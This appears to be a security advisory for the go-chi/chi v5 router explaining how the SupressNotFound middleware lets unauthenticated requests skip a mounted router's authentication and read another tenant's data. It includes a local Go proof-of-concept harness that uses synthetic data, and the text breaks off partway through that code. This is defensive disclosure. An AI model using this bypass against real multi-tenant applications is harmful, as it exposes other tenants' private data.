GITHUB.COM/GO-CHI/CHI/V5 · GHSA-rqrp-8cg2-5958 · Package
FIX → 5.5.0
The chi router's SupressNotFound middleware mutates shared route state while matching, so a request meant for an authenticated mounted router can be dispatched to an outer public route. If that public route reuses a tenant-aware handler and trusts the mount parameter, an unauthenticated caller can read another tenant's data.
first public Oct 14, 2026 · 1 source
Could this affect your app?
Free first check from your website. Connect your repo for the full answer.
Only applications that use chi v5 with the SupressNotFound middleware, mount a child router behind authentication, and also expose a public outer route with the same suffix that reuses a handler trusting the mount parameter. Applications without SupressNotFound or without this route collision are not shown to be affected.
Not affected if no-suffix-collision, no-supressnotfound, outer-route-enforces-auth, version-5.5.0-or-later
Who cares chi, go, multi-tenant, self-hosted
go.mod; affected versions are <= 5.4.0.middleware.SupressNotFound.Route("/{tenant}", ...) route that uses auth middleware, and whether that handler reads the tenant parameter.Upgrade to 5.5.0
In go-chi/chi v5.4.0, middleware.SupressNotFound calls Match with the live request routing context. Match is documented to mutate that context. In the tested collision configuration, the preflight match descends through a mounted router, leaves the mount parameter in URLParams, and sets the child suffix in RoutePath. The subsequent dispatch uses the changed path against the outer router. Because the outer router also has a public route for that suffix, its handler runs instead of the mounted route, so the mounted child’s authentication middleware is skipped. A separate mounted-only control has the generated outer parameter mount /{tenant} but no explicit root GET /settings endpoint; without this middleware, authenticated /acme/settings reaches the child handler, while with it that request returns 404. This shows a broader mounted-routing failure. The security impact demonstrated here is narrower: it requires a suffix collision and an outer public handler that trusts the retained mount parameter.
A local exact-version reproduction uses , which creates and mounts a subrouter, with distinct route chains around a shared tenant-aware handler. The outer route serves public-scope data when no tenant parameter exists. The mounted route applies authentication and uses the same handler for tenant data. Normally, unauthenticated is denied (401), an authenticated request reaches the mounted handler, and direct returns only . With enabled on the outer router, both unauthenticated and authenticated are handled by the outer public route, which receives the retained parameter through and and returns the synthetic resource. The harness observes both APIs; source inspection confirms reads the same retained routing-context parameters. The demonstrated disclosure therefore depends on the application reusing a tenant-aware handler on an outer route that is otherwise public; an outer route that independently enforces authorization would not have this impact.
Check it with your coding agent
It reads this page and tells you if your code is affected.
Are you affected?
Ask from here. InfraStack checks the affected versions against your stack and answers in your inbox.
InfraStack checks the affected versions against your stack and answers in Slack, with the evidence and the fix.
5.5.0Router.RouteGET /acme/data/42GET /data/42tenant=publicSupressNotFoundGET /acme/data/42tenant=acmeRequest.PathValuechi.URLParamacmechi.URLParamRouter.Route creates a subrouter and mounts it.Request.SetPathValue with retained URLParams.chi.URLParam reads the same retained URLParams from the request routing context.SupressNotFound implementation in v5.0.12, v5.1.0, v5.2.0, v5.3.0, and the tested v5.4.0: v5.0.12 source, v5.1.0 source, v5.2.0 source, v5.3.0 source. The older versions were not run. These checks suggest a multi-release affected range, but do not identify the first affected or a fixed release; exact-build runtime evidence is only for v5.4.0.This httptest program uses synthetic data and does not contact an external service. The quoted output was produced with Go 1.26.6 against a clean checkout of exact v5.4.0 tag commit 7f9b7448f51d28804fac98c0a17bc2a7cec1079f; no module or toolchain download was needed. The verified directory layout is chi-v5.4.0-preflight/source/ for that checkout and chi-v5.4.0-preflight/evidence/supress-notfound-scope/{go.mod,main.go} for the harness. The included go.mod uses a local replace to ../../source; it does not fetch chi from the module proxy. To reproduce, place a clean v5.4.0 checkout at the adjacent source/ path, verify its commit with git -C source rev-parse HEAD, and run the command below. Chi v5.4.0's go.mod declares Go 1.24; the observed run used Go 1.26.6.
Use the included main.go and go.mod under evidence/supress-notfound-scope/, alongside the exact source checkout in source/. The standalone harness requires Go 1.24 or newer:
module example.invalid/supressnotfound-poc
go 1.24
require github.com/go-chi/chi/v5 v5.4.0
replace github.com/go-chi/chi/v5 => ../../source
From that directory, run GOPROXY=off GOSUMDB=off GOTOOLCHAIN=local go run . to use the local v5.4.0 source without module or toolchain downloads.
package main
import (
"fmt"
"net/http"
"net/http/httptest"
"github.com/go-chi/chi/v5"
"github.com/go-chi/chi/v5/middleware"
)
func requireToken(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
if r.Header.Get("Authorization") != "Bearer local-test" {
http.Error(w, "auth required", http.StatusUnauthorized)
return
}
next.ServeHTTP(w, r)
})
}
func servedBy(name string, next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
w.Header().Set("X-Lab-Handler", name)
next.ServeHTTP(w, r)
})
}
func tenantData(w http.ResponseWriter, r *http.Request) {
tenant := r.PathValue("tenant")
chiTenant := chi.URLParam(r, "tenant")
if tenant == "" {
tenant = "public"
}
if chiTenant == "" {
chiTenant = "public"
}
_, _ = fmt.Fprintf(w, "synthetic resource: tenant=%s chi-url-param=%s id=%s\n", tenant, chiTenant, r.PathValue("id"))
}
func makeRouter(suppress bool) http.Handler {
root := chi.NewRouter()
if suppress {
root.Use(middleware.SupressNotFound(root))
}
root.Route("/{tenant}", func(mounted chi.Router) {
mounted.Use(requireToken)
mounted.Get("/data/{id}", func(w http.ResponseWriter, r *http.Request) {
servedBy("mounted-authenticated", http.HandlerFunc(tenantData)).ServeHTTP(w, r)
})
})
root.Get("/data/{id}", func(w http.ResponseWriter, r *http.Request) {
servedBy("root-public", http.HandlerFunc(tenantData)).ServeHTTP(w, r)
})
return root
}
func makeChildOnlyRouter(suppress bool) http.Handler {
root := chi.NewRouter()
if suppress {
root.Use(middleware.SupressNotFound(root))
}
root.Route("/{tenant}", func(mounted chi.Router) {
mounted.Use(requireToken)
mounted.Get("/settings", func(w http.ResponseWriter, r *http.Request) {
w.Header().Set("X-Lab-Handler", "mounted-authenticated-settings")
_, _ = fmt.Fprintf(w, "synthetic settings: tenant=%s\n", r.PathValue("tenant"))
})
})
return root
}
func request(h http.Handler, path, token string) {
req := httptest.NewRequest(http.MethodGet, "http://local.invalid"+path, nil)
if token != "" {
req.Header.Set("Authorization", "Bearer "+token)
}
rec := httptest.NewRecorder()
h.ServeHTTP(rec, req)
fmt.Printf("%s token=%t => %d served-by=%q body=%q\n", path, token != "", rec.Code, rec.Header().Get("X-Lab-Handler"), rec.Body.String())
}
func main() {
fmt.Println("without SupressNotFound:")
h := makeRouter(false)
request(h, "/acme/data/42", "")
request(h, "/acme/data/42", "local-test")
request(h, "/data/42", "")
fmt.Println("with SupressNotFound:")
h = makeRouter(true)
request(h, "/acme/data/42", "")
reques